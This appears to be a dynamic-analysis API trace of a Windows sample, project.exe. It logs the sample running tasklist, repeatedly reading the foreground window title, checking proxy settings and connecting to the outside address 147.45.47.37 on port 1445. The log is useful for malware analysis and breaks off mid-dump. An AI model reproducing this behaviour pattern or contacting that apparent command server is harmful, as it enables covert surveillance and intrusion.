returned 0xffffffffffffffff [0191.875] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\tasklist.exe" (normalized: "c:\\windows\\system32\\tasklist.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000adf5e0 | out: lpFileInformation=0xc000adf5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1543d8cf, ftCreationTime.dwHighDateTime=0x1d5acde, ftLastAccessTime.dwLowDateTime=0x1543d8cf, ftLastAccessTime.dwHighDateTime=0x1d5acde, ftLastWriteTime.dwLowDateTime=0x1543d8cf, ftLastWriteTime.dwHighDateTime=0x1d5acde, nFileSizeHigh=0x0, nFileSizeLow=0x1a000)) returned 1 [0191.876] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xc000a2cb60, nSize=0x64 | out: lpBuffer="") returned 0x35 [0191.876] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\tasklist.exe" (normalized: "c:\\windows\\system32\\tasklist.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000adf400 | out: lpFileInformation=0xc000adf400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1543d8cf, ftCreationTime.dwHighDateTime=0x1d5acde, ftLastAccessTime.dwLowDateTime=0x1543d8cf, ftLastAccessTime.dwHighDateTime=0x1d5acde, ftLastWriteTime.dwLowDateTime=0x1543d8cf, ftLastWriteTime.dwHighDateTime=0x1d5acde, nFileSizeHigh=0x0, nFileSizeLow=0x1a000)) returned 1 [0191.876] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0x2e4 [0191.876] GetConsoleMode (in: hConsoleHandle=0x2e4, lpMode=0xc000adf83c | out: lpMode=0xc000adf83c) returned 0 [0191.876] GetFileType (hFile=0x2e4) returned 0x2 [0191.876] CreatePipe (in: hReadPipe=0xc000adf898, hWritePipe=0xc000adf890, lpPipeAttributes=0xc000adf8a0, nSize=0x0 | out: hReadPipe=0xc000adf898*=0x2a0, hWritePipe=0xc000adf890*=0x2fc) returned 1 [0191.876] CreatePipe (in: hReadPipe=0xc000adf860, hWritePipe=0xc000adf858, lpPipeAttributes=0xc000adf868, nSize=0x0 | out: hReadPipe=0xc000adf860*=0x2dc, hWritePipe=0xc000adf858*=0x308) returned 1 [0191.876] GetEnvironmentStringsW () returned 0x166d50* [0191.877] FreeEnvironmentStringsW (penv=0x166d50) returned 1 [0191.877] RtlGetNtVersionNumbers () returned 0xf0004a61 [0191.877] GetCurrentProcess () returned 0xffffffffffffffff [0191.877] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x2e4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc000744ae0, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc000744ae0*=0x320) returned 1 [0191.877] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x2fc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc000744ae8, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc000744ae8*=0x324) returned 1 [0191.877] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x308, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc000744af0, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc000744af0*=0x2f4) returned 1 [0191.877] InitializeProcThreadAttributeList (in: lpAttributeList=0x0, dwAttributeCount=0x2, dwFlags=0x0, lpSize=0xc000adf5e0 | out: lpAttributeList=0x0, lpSize=0xc000adf5e0) returned 0 [0191.877] InitializeProcThreadAttributeList (in: lpAttributeList=0xc00074ac80, dwAttributeCount=0x2, dwFlags=0x0, lpSize=0xc000adf5e0 | out: lpAttributeList=0xc00074ac80, lpSize=0xc000adf5e0) returned 1 [0191.877] UpdateProcThreadAttribute (in: lpAttributeList=0xc00074ac80, dwFlags=0x0, Attribute=0x20002, lpValue=0xc000744ae0, cbSize=0x18, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xc00074ac80, lpPreviousValue=0x0) returned 1 [0191.877] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\tasklist.exe", lpCommandLine="tasklist", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80400, lpEnvironment=0xc000020c00, lpCurrentDirectory=0x0, lpStartupInfo=0xc000adf7f0*(cb=0x70, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x320, hStdOutput=0x324, hStdError=0x2f4), lpProcessInformation=0xc000adf6d0 | out: lpCommandLine="tasklist", lpProcessInformation=0xc000adf6d0*(hProcess=0x2c4, hThread=0x2c8, dwProcessId=0x1250, dwThreadId=0x1254)) returned 1 [0191.904] CloseHandle (hObject=0x2c8) returned 1 [0191.904] DeleteProcThreadAttributeList (in: lpAttributeList=0xc00074ac80 | out: lpAttributeList=0xc00074ac80) [0191.904] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x2f4, hTargetProcessHandle=0x0, lpTargetHandle=0x0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x1 | out: lpTargetHandle=0x0) returned 1 [0191.904] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x324, hTargetProcessHandle=0x0, lpTargetHandle=0x0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x1 | out: lpTargetHandle=0x0) returned 1 [0191.905] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x320, hTargetProcessHandle=0x0, lpTargetHandle=0x0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x1 | out: lpTargetHandle=0x0) returned 1 [0191.905] SetEvent (hEvent=0x1ac) returned 1 [0191.905] CloseHandle (hObject=0x2e4) returned 1 [0191.905] CancelIoEx (hFile=0x2fc, lpOverlapped=0x0) returned 0 [0191.905] CloseHandle (hObject=0x2fc) returned 1 [0191.905] CancelIoEx (hFile=0x308, lpOverlapped=0x0) returned 0 [0191.905] CloseHandle (hObject=0x308) returned 1 [0191.905] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0195.713] GetExitCodeProcess (in: hProcess=0x2c4, lpExitCode=0xc000adfa34 | out: lpExitCode=0xc000adfa34*=0x0) returned 1 [0195.713] GetProcessTimes (in: hProcess=0x2c4, lpCreationTime=0xc0009965e0, lpExitTime=0xc0009965e8, lpKernelTime=0xc0009965f0, lpUserTime=0xc0009965f8 | out: lpCreationTime=0xc0009965e0, lpExitTime=0xc0009965e8, lpKernelTime=0xc0009965f0, lpUserTime=0xc0009965f8) returned 1 [0195.713] CloseHandle (hObject=0x2c4) returned 1 [0195.713] PostQueuedCompletionStatus (CompletionPort=0x170, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1 [0195.714] WaitForSingleObject (hHandle=0x104, dwMilliseconds=0xffffffff) returned 0x0 [0195.723] WaitForSingleObject (hHandle=0x104, dwMilliseconds=0xffffffff) returned 0x0 [0196.241] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b1bf468, ulCount=0x10, ulNumEntriesRemoved=0x4b1bf438, dwMilliseconds=0x1e4, fAlertable=0 | out: lpCompletionPortEntries=0x4b1bf468, ulNumEntriesRemoved=0x4b1bf438) returned 0 [0196.751] SetEvent (hEvent=0xec) returned 1 [0196.751] GetForegroundWindow () returned 0x401fe [0196.751] GetWindowTextLengthW (hWnd=0x401fe) returned 38 [0196.752] GetWindowTextW (in: hWnd=0x401fe, lpString=0xc00074ad70, nMaxCount=39 | out: lpString="C:\\Users\\OqXZRaykm\\Desktop\\project.exe") returned 38 [0196.753] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b1bf468, ulCount=0x10, ulNumEntriesRemoved=0x4b1bf438, dwMilliseconds=0x1d4, fAlertable=0 | out: lpCompletionPortEntries=0x4b1bf468, ulNumEntriesRemoved=0x4b1bf438) returned 0 [0197.300] SetEvent (hEvent=0xec) returned 1 [0197.301] GetForegroundWindow () returned 0x401fe [0197.301] GetWindowTextLengthW (hWnd=0x401fe) returned 38 [0197.301] GetWindowTextW (in: hWnd=0x401fe, lpString=0xc0000520f0, nMaxCount=39 | out: lpString="C:\\Users\\OqXZRaykm\\Desktop\\project.exe") returned 38 [0197.302] WaitForSingleObject (hHandle=0x104, dwMilliseconds=0xffffffff) returned 0x0 [0197.789] WaitForSingleObject (hHandle=0x104, dwMilliseconds=0xffffffff) returned 0x0 [0198.281] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b1bf468, ulCount=0x10, ulNumEntriesRemoved=0x4b1bf438, dwMilliseconds=0x1b6, fAlertable=0 | out: lpCompletionPortEntries=0x4b1bf468, ulNumEntriesRemoved=0x4b1bf438) returned 0 [0198.734] SetEvent (hEvent=0xec) returned 1 [0198.734] GetForegroundWindow () returned 0x401fe [0198.735] GetWindowTextLengthW (hWnd=0x401fe) returned 38 [0198.735] GetWindowTextW (in: hWnd=0x401fe, lpString=0xc00074ae10, nMaxCount=39 | out: lpString="C:\\Users\\OqXZRaykm\\Desktop\\project.exe") returned 38 [0198.736] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b1bf468, ulCount=0x10, ulNumEntriesRemoved=0x4b1bf438, dwMilliseconds=0x1e4, fAlertable=0 | out: lpCompletionPortEntries=0x4b1bf468, ulNumEntriesRemoved=0x4b1bf438) returned 0 [0199.349] SetEvent (hEvent=0xec) returned 1 [0199.349] GetForegroundWindow () returned 0x401fe [0199.349] GetWindowTextLengthW (hWnd=0x401fe) returned 38 [0199.351] GetWindowTextW (in: hWnd=0x401fe, lpString=0xc000052190, nMaxCount=39 | out: lpString="C:\\Users\\OqXZRaykm\\Desktop\\project.exe") returned 38 [0199.352] WaitForSingleObject (hHandle=0x104, dwMilliseconds=0xffffffff) returned 0x0 [0199.765] SetEvent (hEvent=0x1ac) returned 1 [0199.765] GetForegroundWindow () returned 0x100fc [0199.765] GetWindowTextLengthW (hWnd=0x100fc) returned 10 [0199.766] GetWindowTextW (in: hWnd=0x100fc, lpString=0xc0009b8060, nMaxCount=11 | out: lpString="FolderView") returned 10 [0199.767] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc0000aa000*, nNumberOfCharsToWrite=0xe, lpNumberOfCharsWritten=0xc000adf598, lpReserved=0x0 | out: lpBuffer=0xc0000aa000*, lpNumberOfCharsWritten=0xc000adf598*=0xe) returned 1 [0199.812] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc0009b8090*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf6b0, lpReserved=0x0 | out: lpBuffer=0xc0009b8090*, lpNumberOfCharsWritten=0xc000adf6b0*=0x9) returned 1 [0199.859] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc0009b80a8*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf6b0, lpReserved=0x0 | out: lpBuffer=0xc0009b80a8*, lpNumberOfCharsWritten=0xc000adf6b0*=0x9) returned 1 [0199.906] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc0009b80c0*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf6b0, lpReserved=0x0 | out: lpBuffer=0xc0009b80c0*, lpNumberOfCharsWritten=0xc000adf6b0*=0x9) returned 1 [0199.940] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc0009b80d8*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf6b0, lpReserved=0x0 | out: lpBuffer=0xc0009b80d8*, lpNumberOfCharsWritten=0xc000adf6b0*=0x9) returned 1 [0199.966] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc0009b80f0*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf6b0, lpReserved=0x0 | out: lpBuffer=0xc0009b80f0*, lpNumberOfCharsWritten=0xc000adf6b0*=0x9) returned 1 [0199.966] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc0009b8108*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf6b0, lpReserved=0x0 | out: lpBuffer=0xc0009b8108*, lpNumberOfCharsWritten=0xc000adf6b0*=0x9) returned 1 [0199.967] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc0009b8120*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf6b0, lpReserved=0x0 | out: lpBuffer=0xc0009b8120*, lpNumberOfCharsWritten=0xc000adf6b0*=0x9) returned 1 [0199.967] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc0009b8138*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf6b0, lpReserved=0x0 | out: lpBuffer=0xc0009b8138*, lpNumberOfCharsWritten=0xc000adf6b0*=0x9) returned 1 [0199.968] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc0009b8150*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf6b0, lpReserved=0x0 | out: lpBuffer=0xc0009b8150*, lpNumberOfCharsWritten=0xc000adf6b0*=0x9) returned 1 [0199.969] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc0009b8168*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf6b0, lpReserved=0x0 | out: lpBuffer=0xc0009b8168*, lpNumberOfCharsWritten=0xc000adf6b0*=0x9) returned 1 [0199.970] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc0009b8180*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf6b0, lpReserved=0x0 | out: lpBuffer=0xc0009b8180*, lpNumberOfCharsWritten=0xc000adf6b0*=0x9) returned 1 [0199.970] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc0009b8198*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf6b0, lpReserved=0x0 | out: lpBuffer=0xc0009b8198*, lpNumberOfCharsWritten=0xc000adf6b0*=0x9) returned 1 [0199.971] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc0009b81b0*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf6b0, lpReserved=0x0 | out: lpBuffer=0xc0009b81b0*, lpNumberOfCharsWritten=0xc000adf6b0*=0x9) returned 1 [0199.971] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc0009b81c8*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf6b0, lpReserved=0x0 | out: lpBuffer=0xc0009b81c8*, lpNumberOfCharsWritten=0xc000adf6b0*=0x9) returned 1 [0199.972] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc0009b81e0*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf6b0, lpReserved=0x0 | out: lpBuffer=0xc0009b81e0*, lpNumberOfCharsWritten=0xc000adf6b0*=0x9) returned 1 [0199.973] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc0009b81f8*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf6b0, lpReserved=0x0 | out: lpBuffer=0xc0009b81f8*, lpNumberOfCharsWritten=0xc000adf6b0*=0x9) returned 1 [0199.979] GetEnvironmentVariableW (in: lpName="HTTP_PROXY", lpBuffer=0xc000a02000, nSize=0x64 | out: lpBuffer="") returned 0x0 [0199.979] GetEnvironmentVariableW (in: lpName="http_proxy", lpBuffer=0xc000a020d0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0199.980] VirtualAlloc (lpAddress=0xc0006ce000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0006ce000 [0199.980] GetEnvironmentVariableW (in: lpName="HTTPS_PROXY", lpBuffer=0xc0006ce000, nSize=0x64 | out: lpBuffer="") returned 0x0 [0199.980] GetEnvironmentVariableW (in: lpName="https_proxy", lpBuffer=0xc0006ce0d0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0199.980] GetEnvironmentVariableW (in: lpName="NO_PROXY", lpBuffer=0xc0006ce1a0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0199.980] GetEnvironmentVariableW (in: lpName="no_proxy", lpBuffer=0xc0006ce270, nSize=0x64 | out: lpBuffer="") returned 0x0 [0199.980] GetEnvironmentVariableW (in: lpName="REQUEST_METHOD", lpBuffer=0xc0006ce340, nSize=0x64 | out: lpBuffer="") returned 0x0 [0199.982] VirtualAlloc (lpAddress=0xc0006d0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0006d0000 [0199.985] SetEvent (hEvent=0x1ac) returned 1 [0199.988] VirtualAlloc (lpAddress=0xc0006d2000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0006d2000 [0199.997] LoadLibraryExW (lpLibFileName="ws2_32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fffcc020000 [0199.997] GetProcAddress (hModule=0x7fffcc020000, lpProcName="WSASocketW") returned 0x7fffcc0256b0 [0199.998] WSASocketW (af=2, type=1, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x81) returned 0x308 [0200.241] CreateIoCompletionPort (FileHandle=0x308, ExistingCompletionPort=0x170, CompletionKey=0x4d435220, NumberOfConcurrentThreads=0x0) returned 0x170 [0200.241] SetFileCompletionNotificationModes (FileHandle=0x308, Flags=0x3) returned 1 [0200.242] GetProcAddress (hModule=0x7fffcc020000, lpProcName="bind") returned 0x7fffcc0309c0 [0200.242] bind (s=0x308, addr=0xc0000aa2ec*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0 [0200.250] SetEvent (hEvent=0x1ac) returned 1 [0200.251] GetProcAddress (hModule=0x7fffcc020000, lpProcName="socket") returned 0x7fffcc0255f0 [0200.251] socket (af=2, type=1, protocol=6) returned 0x2fc [0200.253] GetProcAddress (hModule=0x7fffcc020000, lpProcName="WSAIoctl") returned 0x7fffcc025360 [0200.253] WSAIoctl (in: s=0x2fc, dwIoControlCode=0xc8000006, lpvInBuffer=0x45dfd50, cbInBuffer=0x10, lpvOutBuffer=0x47ba850, cbOutBuffer=0x8, lpcbBytesReturned=0xc0006d8d94, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x47ba850, lpcbBytesReturned=0xc0006d8d94, lpOverlapped=0x0) returned 0 [0200.253] CloseHandle (hObject=0x2fc) returned 1 [0200.253] ConnectEx (in: s=0x308, name=0xc0000aa28c*(sa_family=2, sin_port=0x5a5, sin_addr="147.45.47.37"), namelen=16, lpSendBuffer=0x0, dwSendDataLength=0x0, lpdwBytesSent=0x0, lpOverlapped=0xc00072a5e8 | out: lpdwBytesSent=0x0) returned 0 [0200.265] WaitForSingleObject (hHandle=0x104, dwMilliseconds=0xffffffff) returned 0x0 [0209.844] WaitForSingleObject (hHandle=0x104, dwMilliseconds=0xffffffff) returned 0x0 [0219.921] WaitForSingleObject (hHandle=0x104, dwMilliseconds=0xffffffff) returned 0x0 [0229.728] PostQueuedCompletionStatus (CompletionPort=0x170, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1 [0229.728] WaitForSingleObject (hHandle=0x104, dwMilliseconds=0xffffffff) returned 0x0 [0239.857] PostQueuedCompletionStatus (CompletionPort=0x170, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1 [0239.858] WaitForSingleObject (hHandle=0x104, dwMilliseconds=0xffffffff) returned 0x0 [0249.734] PostQueuedCompletionStatus (CompletionPort=0x170, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1 [0249.734] WaitForSingleObject (hHandle=0x104, dwMilliseconds=0xffffffff) returned 0x0 [0259.749] PostQueuedCompletionStatus (CompletionPort=0x170, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1 [0259.749] WaitForSingleObject (hHandle=0x104, dwMilliseconds=0xffffffff) returned 0x0 [0269.830] PostQueuedCompletionStatus (CompletionPort=0x170, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1 [0269.830] WaitForSingleObject (hHandle=0x104, dwMilliseconds=0xffffffff) returned 0x0 [0279.717] PostQueuedCompletionStatus (CompletionPort=0x170, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1 [0279.717] WaitForSingleObject (hHandle=0x104, dwMilliseconds=0xffffffff) returned 0x0 [0283.075] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b1bf468, ulCount=0x10, ulNumEntriesRemoved=0x4b1bf438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4b1bf468, ulNumEntriesRemoved=0x4b1bf438) returned 0 [0283.076] SetEvent (hEvent=0x114) returned 1 [0283.076] ReadFile (in: hFile=0x1dc, lpBuffer=0xc0000e7000, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc00002dd14, lpOverlapped=0x0 | out: lpBuffer=0xc0000e7000*, lpNumberOfBytesRead=0xc00002dd14*=0x29, lpOverlapped=0x0) returned 1 [0284.566] ReadFile (in: hFile=0x1dc, lpBuffer=0xc0000b0029, nNumberOfBytesToRead=0x3d7, lpNumberOfBytesRead=0xc00002dd14, lpOverlapped=0x0 | out: lpBuffer=0xc0000b0029*, lpNumberOfBytesRead=0xc00002dd14*=0x2c, lpOverlapped=0x0) returned 1 [0284.566] ReadFile (in: hFile=0x1dc, lpBuffer=0xc0000b0055, nNumberOfBytesToRead=0x3ab, lpNumberOfBytesRead=0xc00002dd14, lpOverlapped=0x0 | out: lpBuffer=0xc0000b0055, lpNumberOfBytesRead=0xc00002dd14*=0x0, lpOverlapped=0x0) returned 0 [0284.736] CancelIoEx (hFile=0x1dc, lpOverlapped=0x0) returned 0 [0284.736] CloseHandle (hObject=0x1dc) returned 1 [0284.736] WaitForSingleObject (hHandle=0x104, dwMilliseconds=0xffffffff) Thread: id = 12 os_tid = 0x1308 [0172.039] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x4b3bfd78, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x4b3bfd78*=0x10c) returned 1 [0172.039] GetCurrentThreadId () returned 0x1308 [0172.039] CreateWaitableTimerExW (lpTimerAttributes=0x0, lpTimerName=0x0, dwFlags=0x2, dwDesiredAccess=0x100003) returned 0x110 [0172.039] VirtualQuery (in: lpAddress=0x4b3bfd98, lpBuffer=0x4b3bfd98, dwLength=0x30 | out: lpBuffer=0x4b3bfd98*(BaseAddress=0x4b3bf000, AllocationBase=0x4b1c0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0172.039] VirtualAlloc (lpAddress=0xc000100000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000100000 [0172.040] SetEvent (hEvent=0xec) returned 1 [0172.040] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x114 [0172.040] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x118 [0172.040] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0172.415] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0172.543] SetEvent (hEvent=0xec) returned 1 [0172.543] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0173.280] SetEvent (hEvent=0xec) returned 1 [0173.280] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0173.447] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0173.579] SetEvent (hEvent=0xec) returned 1 [0173.579] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0174.153] SetEvent (hEvent=0xec) returned 1 [0174.153] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0174.255] SetEvent (hEvent=0xec) returned 1 [0174.255] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0174.634] SetEvent (hEvent=0xec) returned 1 [0174.634] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0174.899] SetEvent (hEvent=0xec) returned 1 [0174.899] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0175.098] SetEvent (hEvent=0x104) returned 1 [0175.098] SetEvent (hEvent=0xec) returned 1 [0175.098] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0175.177] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0175.180] SetEvent (hEvent=0x104) returned 1 [0175.180] SetEvent (hEvent=0xec) returned 1 [0175.180] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0175.309] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0175.430] SetEvent (hEvent=0x124) returned 1 [0175.444] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x4b3bf6d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x4b3bf6d8*=0x16c) returned 1 [0175.444] SuspendThread (hThread=0x16c) returned 0x0 [0175.444] GetThreadContext (in: hThread=0x16c, lpContext=0x4b3bf6f0 | out: lpContext=0x4b3bf6f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x5ffb28, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fffccacb094, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, 